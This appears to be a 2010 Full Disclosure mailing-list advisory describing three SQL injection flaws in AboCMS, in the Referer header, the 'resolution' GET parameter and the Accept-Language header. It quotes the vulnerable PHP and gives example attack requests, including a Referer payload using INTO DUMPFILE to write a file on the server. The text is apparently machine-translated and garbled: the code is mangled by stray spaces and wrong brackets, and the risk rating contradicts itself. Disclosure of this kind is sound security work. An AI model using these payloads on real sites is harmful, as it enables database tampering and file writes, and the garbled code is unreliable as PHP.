Full Disclosure: AboCMS SQL injection (abocms.ru)

[Владимир Воронцов <vladimir.vorontsov () onsec ru>]

[ONSEC-10-003] AboCMS SQL inj
Target: AboCMS <= 5.4 (fixpack unknown)
Type: SQL инъекция
Rist: Medium
Find date: 12.03.2010
Report date: 12.03.2010
Fix date: 17.03.2010
Author: Vladimir Vorontsov
OnSec Russian Security Group (onsec [dot] ru)
Original links: http://onsec.ru/vuln?id=19

In the popular content management system AboCMS version 5.2 found a
critical vulnerability. Errors allow an attacker to modify the query syntax
to the database.
It exists because of the lack of data filtering of HTTP headers and data
in the request variables. 

1. Vulnerability in the header data HTTP Referer. 

Exploitation of vulnerability is possible when the option rewrite_mod
settings management system. Vulnerable code: 
 
$ url_info = parse_url ($ _SERVER [ 'HTTP_REFERER']); 
if ($ CONFIG [ 'rewrite_mod']) ( 
$ link = @ $ url_info [ 'path']? preg_replace ( "/ ^ \ / (rus | ukr | blr
| de | frn | eng) \ /? / i", "", $ url_info [ 'path']): ""; 
/ * 
$ amp_pos = strpos ($ link, "&"); 
$ link = FALSE! == $ amp_pos? substr ($ link, 0, $ amp_pos): $ link; 

* / 
if ($ link =='/') $ link = null; 
    $ by = 'address'; 
) Else ( 
    $ link = array (); 
    parse_str (@ $ url_info [ 'query'], $ link); 
    $ link = (@ $ link [ 'link'] & & $ link [ 'link']!='/')? My_Sql::
escape ($ link [ 'link']):''; 
    $ by = 'link'; 
) 
 
Implementation: 

 
GET http://localhost/c.php HTTP/1.1 
 
Referer: http://asd.asd/'/**/ INTO / ** / dumpfile /**/' C: / onsec.txt ' 

 
2. Vulnerability in the variable data resolution request GET. 

 
Vulnerable code: 
 
if (@ $ _GET [ 'resolution']) ( 
$ user_resolution = $ _GET [ 'resolution']; 
) Else ( 
$ user_resolution = 'Another'; 
) 
 
Implementation: 

 
GET http://localhost/c.php?resolution = "injection / ** / to / ** / insert


 
3. Vulnerability in the header data HTTP Accept-Language 

 
Vulnerable code: 
 
$ user_lang = $ _SERVER [ 'HTTP_ACCEPT_LANGUAGE']; 
 
Implementation: 

 
GET http://localhost/c.php HTTP 1.1 
 
Accept-language: "injection / ** / to / ** / insert

-- 
Best regards, 
Vladimir Vorontsov
ONsec security expert

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/